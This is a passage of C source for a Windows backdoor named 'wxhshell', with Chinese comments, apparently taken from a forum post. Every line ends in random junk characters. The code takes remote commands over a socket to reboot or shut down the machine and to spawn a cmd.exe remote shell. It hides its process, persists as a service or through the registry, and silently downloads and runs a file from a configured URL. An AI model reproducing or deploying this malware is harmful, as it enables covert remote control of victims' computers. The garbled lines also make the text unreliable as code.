    switch(cmd[0]) { 8k -l`O~  
  ^Jdji:  
  // 帮助 vSG$ 2g=  
  case '?': { `\5u/i'Ca!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?*2Uw{~}  
    break; zDx*R3%  
  } };s8xGW:k3  
  // 安装 7xy[;  
  case 'i': { 1;N5@0%p  
    if(Install()) E [b6k&A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1|/]bffg!c  
    else iF'qaqHWY4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !1cVg ls|  
    break; "kg;fF|  
    } Tg|/UUn  
  // 卸载 [5sa1$n96G  
  case 'r': { s'yT}XQ;r  
    if(Uninstall()) b1ma(8{{{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3"y,Ut KGa  
    else wj#A#[e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S[5e,E w  
    break; `hE@S |4  
    } W"*~1$vf  
  // 显示 wxhshell 所在路径 tunjV1 ,]  
  case 'p': { Z@{e\sZ)  
    char svExeFile[MAX_PATH]; d\A!5/LG  
    strcpy(svExeFile,"\n\r"); ),]XN#jp(u  
      strcat(svExeFile,ExeFile); =E10j.r  
        send(wsh,svExeFile,strlen(svExeFile),0); :B"Y3~I  
    break; 9L9+zs3 k  
    } On4tK\l @  
  // 重启 TIre,s)_  
  case 'b': { EQ> ]~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); q}0xQjpo  
    if(Boot(REBOOT)) XpU%09K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q7u bRak  
    else { oVYW '~OID  
    closesocket(wsh); )=@ SA`J  
    ExitThread(0); =9y&j-F  
    } 5x/LHsr=m  
    break; WXX)_L$2  
    } ?A`8c R=)I  
  // 关机 c#YW>(  
  case 'd': { qxW^\u!<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "0]s|ys6<  
    if(Boot(SHUTDOWN)) \:@yfI@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HH3Ln+AWg_  
    else { 7ajkp+E6  
    closesocket(wsh); .`Rju|l  
    ExitThread(0); nYbI =_-  
    } <Gkmk?x`A  
    break; z)&ZoSXWc  
    } ^7>k:|7-t  
  // 获取shell IMtfi(Y%F  
  case 's': { "D1u2>(  
    CmdShell(wsh); i]M:ntB"  
    closesocket(wsh); 0;  BX  
    ExitThread(0); X[r\ Qa  
    break; '|^<|S_+K  
  } nht?58  
  // 退出 2~(\d\k  
  case 'x': { [+4/M3J%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $++SF)G1]_  
    CloseIt(wsh); uA~T.b\  
    break; HyKv5S$  
    } [) S&PK  
  // 离开 MWZH-aA(.  
  case 'q': { y|(C L^(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QssU\@ / Q  
    closesocket(wsh); q6a7o=BP]  
    WSACleanup(); D +Ui1h-  
    exit(1); w9Z,3J6r  
    break; Q8>  
        } "ukiuCfVuW  
  } CPt62j8  
  } 1b4/  
#9FY;~  
  // 提示信息 NUp,In_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0AWOdd>.  
} rIJv(&l  
  } :j}4F  
^DH*\ee  
  return; t+<?$I[  
} fNnX{Wq  
V4>qR{5  
// shell模块句柄 z3l(4WP  
int CmdShell(SOCKET sock) LCouDk(=`  
{ q9iHJ'lMD*  
STARTUPINFO si; MQvk& AX  
ZeroMemory(&si,sizeof(si)); uXkc07 r'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; F\IJim-Rh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hF;TX.Y6  
PROCESS_INFORMATION ProcessInfo; 49d02AU%  
char cmdline[]="cmd"; 6<qVeO&uZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9XEP:}5,  
  return 0; bji^b@ us_  
}  8PXjdHR  
$-ICTp  
// 自身启动模式 [JyhzYf\   
int StartFromService(void) o~J~-$T{  
{ q88;{?T1  
typedef struct {Ne5*HFV  
{ _(1Shm  
  DWORD ExitStatus; HBp$   
  DWORD PebBaseAddress; <7 R+p;y  
  DWORD AffinityMask; ayK?\srw  
  DWORD BasePriority; q\]"}M 8  
  ULONG UniqueProcessId; !)-)*T  
  ULONG InheritedFromUniqueProcessId; g;mX{p_@  
}   PROCESS_BASIC_INFORMATION; A8oTcX_  
o<Y[GW1pg  
PROCNTQSIP NtQueryInformationProcess; :HW\awv  
{;-wXzv`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >^N{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &8xwR   
 3<R8_p  
  HANDLE             hProcess; TkyP_*  
  PROCESS_BASIC_INFORMATION pbi; XSoHh-  
4Mck/i2  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t$zeB OI)  
  if(NULL == hInst ) return 0; c%x9.s<+1  
c]]e(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r~q 3nIe/,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (T 8In  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _-c1" Kl  
6haw\ *  
  if (!NtQueryInformationProcess) return 0; Ygs:Ox"[-G  
 JcJc&cG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  up==g  
  if(!hProcess) return 0; Xt9vTCox  
d$qi. %<kh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7,7-E&d  
Or3GrZ!H  
  CloseHandle(hProcess); tQWjNP~  
-|g9__|@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )kk10AZV-E  
if(hProcess==NULL) return 0; #w6ty<b;  
Hzc5BC  
HMODULE hMod; {v>8Kp7_R  
char procName[255]; GJTakhj3  
unsigned long cbNeeded; `W9~u: F  
f[fH1cu&`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !))!! {  
Hn sPXF'8g  
  CloseHandle(hProcess); K=N8O8R$y  
t/B4?A@C  
if(strstr(procName,"services")) return 1; // 以服务启动 U~I y),5  
o*sss  
  return 0; // 注册表启动 [!ilcHE)  
} +%  !'~  
,,=VF(@G  
// 主模块 Ny` =]BA  
int StartWxhshell(LPSTR lpCmdLine) 1EAQ ~S!2  
{ tV"Jh>Z  
  SOCKET wsl; ?XllPnuKt%  
BOOL val=TRUE; M.3ULt8  
  int port=0; 2|\WaH9P  
  struct sockaddr_in door; O<()T6  
\&\U&^?  
  if(wscfg.ws_autoins) Install(); D5"Xjo*  
MN^d28^/  
port=atoi(lpCmdLine); @p%WFNR0  
4Is Wp!`W  
if(port<=0) port=wscfg.ws_port; 9}A\Bh tiM  
l8H8c &  
  WSADATA data; T6nc/|Ot  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; MWq1 "c  
":!1gC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XImX1GH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p)Fi{%bc  
  door.sin_family = AF_INET; 'y&DOy/|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~c`%k>$  
  door.sin_port = htons(port); eZ8DW6l*  
^TEFKx}PX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { szUJh9-  
closesocket(wsl); I3;03X<2  
return 1; LbUH`0:%t  
} p`)Mk<`dYD  
C 8KV<k  
  if(listen(wsl,2) == INVALID_SOCKET) {  {HbSty  
closesocket(wsl); '37 <+N  
return 1; 'OI(MuSn  
} UK5u"@T  
  Wxhshell(wsl); k2/t~|5  
  WSACleanup(); R5N~%Dg)3  
^Eif~v  
return 0; te;VGpv.  
:_[pZ;-@  
} y*e({fio_  
sL], @z8<k  
// 以NT服务方式启动 hMyN$7Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :"'*1S*  
{ VQ;'SY:`  
DWORD   status = 0; !>\g[C  
  DWORD   specificError = 0xfffffff; KGrYF  
*FFD G_YG?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WDJ rN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /BwG\GhM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1h3`y  
  serviceStatus.dwWin32ExitCode     = 0; 0-:dzf  
  serviceStatus.dwServiceSpecificExitCode = 0; %^l&:\ hy  
  serviceStatus.dwCheckPoint       = 0;  y7vA[us  
  serviceStatus.dwWaitHint       = 0; 4m!w<c0NL  
} 8[  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /^$n&gI  
  if (hServiceStatusHandle==0) return; VE)) `?  
v;#0h7qd  
status = GetLastError(); bFVY&  
  if (status!=NO_ERROR) qRL45[ K  
{ Ac'pu,v  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gjzU%{T ?  
    serviceStatus.dwCheckPoint       = 0; Z5eM  
    serviceStatus.dwWaitHint       = 0; K0|:+s@u  
    serviceStatus.dwWin32ExitCode     = status; =klfCFwP  
    serviceStatus.dwServiceSpecificExitCode = specificError; DD}YbuO7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #xw3a<z?u  
    return; K=> j+a5$  
  } kG u{[Rh  
C8%MKNPd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Mtc  -  
  serviceStatus.dwCheckPoint       = 0; ]fSpG\yU  
  serviceStatus.dwWaitHint       = 0; e_}tK1XY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |3BxNFe`%  
} U~w8yMxX  
KG GJ\r6  
// 处理NT服务事件,比如:启动、停止 $!^C|,CS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +5Ju `Z  
{ U$WGe >,  
switch(fdwControl) U6#9W}CE  
{ %WPy c%I  
case SERVICE_CONTROL_STOP: ;Kh?iq n^  
  serviceStatus.dwWin32ExitCode = 0; qfqL"G  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8x-(7[#e<g  
  serviceStatus.dwCheckPoint   = 0; j!"5, ~  
  serviceStatus.dwWaitHint     = 0; <8^ws90Y  
  { 5 p ,HkV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F{Oaxn  
  } W4(GI]`_+  
  return; 6Zx5^f(qd  
case SERVICE_CONTROL_PAUSE: ~-UO^$M-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; h:i FLSf  
  break; &t6:1T  
case SERVICE_CONTROL_CONTINUE: ji<(}d~L*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :mhO/Bx  
  break; N]-skz<v  
case SERVICE_CONTROL_INTERROGATE: e.W<pI,  
  break; x,HD,VQR/  
}; 55/)2B2J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KE-0/m4yJ  
} )hC3'B/[Y  
& jm1  
// 标准应用程序主函数 mV+9*or  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lUdk^7:M  
{ tT+W>oA/M  
^%0^DN  
// 获取操作系统版本 VO~%O.>  
OsIsNt=GetOsVer(); *y', eB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $,0EV9+af  
S~)_=4Z  
  // 从命令行安装 .)<l69ZD Z  
  if(strpbrk(lpCmdLine,"iI")) Install(); $4Dr +Z H  
3R)|DGql=1  
  // 下载执行文件 ! F<::fN  
if(wscfg.ws_downexe) { 7g:Lj,Z4L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -@@ O<M^  
  WinExec(wscfg.ws_filenam,SW_HIDE); 53>(2 _/[r  
} <d O ~;  
LI<Emez  
if(!OsIsNt) { y;_F[m  
// 如果时win9x,隐藏进程并且设置为注册表启动 5s@xpWVot  
HideProc(); sRZ?Ilua6  
StartWxhshell(lpCmdLine);  FL b  
} *S?'[PS]1  
else u8gqWsvruM  
  if(StartFromService()) 0`Uw[Er&  
  // 以服务方式启动 "{kE#`c6<n  
  StartServiceCtrlDispatcher(DispatchTable); "{Hl! Zq/  
else pu_?) U  
  // 普通方式启动 ]x(6^:D5  
  StartWxhshell(lpCmdLine); Dl,sl>{  
NKTy!zWh  
return 0; w`v` aw]  
}
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只看该作者 1 发表于: 2006-10-10
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